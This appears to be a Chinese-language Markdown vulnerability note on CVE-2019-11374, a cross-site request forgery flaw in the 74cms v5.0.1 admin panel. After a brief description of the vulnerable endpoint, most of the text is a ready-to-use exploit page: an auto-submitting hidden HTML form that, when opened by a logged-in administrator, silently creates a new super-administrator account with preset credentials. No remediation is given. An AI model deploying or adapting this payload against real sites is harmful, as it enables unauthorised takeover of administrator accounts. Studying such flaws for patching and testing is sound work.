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49 lines
1.4 KiB
Markdown
49 lines
1.4 KiB
Markdown
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# 74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374
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## 漏洞描述
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在74CMS v5.0.1后台存在一个跨站请求伪造(CSRF)漏洞，该漏洞url：/index.php?m=admin&c=admin&a=add
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攻击者可以利用该漏洞诱骗管理员点击恶意页面，从而任意添加一个后台管理员账户，达到进入后台，获得一个后台管理员角色的控制权。
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## 漏洞影响
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```
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74CMS v5.0.1
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```
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## 漏洞复现
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首先我们登录后台页面，并添加管理员，然后添加信息，用burp_suite抓包
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当管理员登录后台后，点击攻击者发来的连接即可创建一个新的超级管理员账户
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利用exp如下：
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```
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<!DOCTYPE html>
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<html>
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<head>
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<title> CSRF </title>
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<script type="text/javascript">
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function exec1(){
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document.getElementById('form1').submit();
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}
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</script>
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</head>
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<body onload="exec1();">
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<form id="form1" action="https://www.0dayhack.com/index.php?m=Admin&c=admin&a=add" method="POST">
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<input type="hidden" name="username" value="admin688" />
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<input type="hidden" name="email" value="111111111@qq.com" />
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<input type="hidden" name="password" value="admin688" />
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<input type="hidden" name="repassword" value="admin688" />
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<input type="hidden" name="role_id" value="1" />
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</form>
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</body>
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</html>
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```
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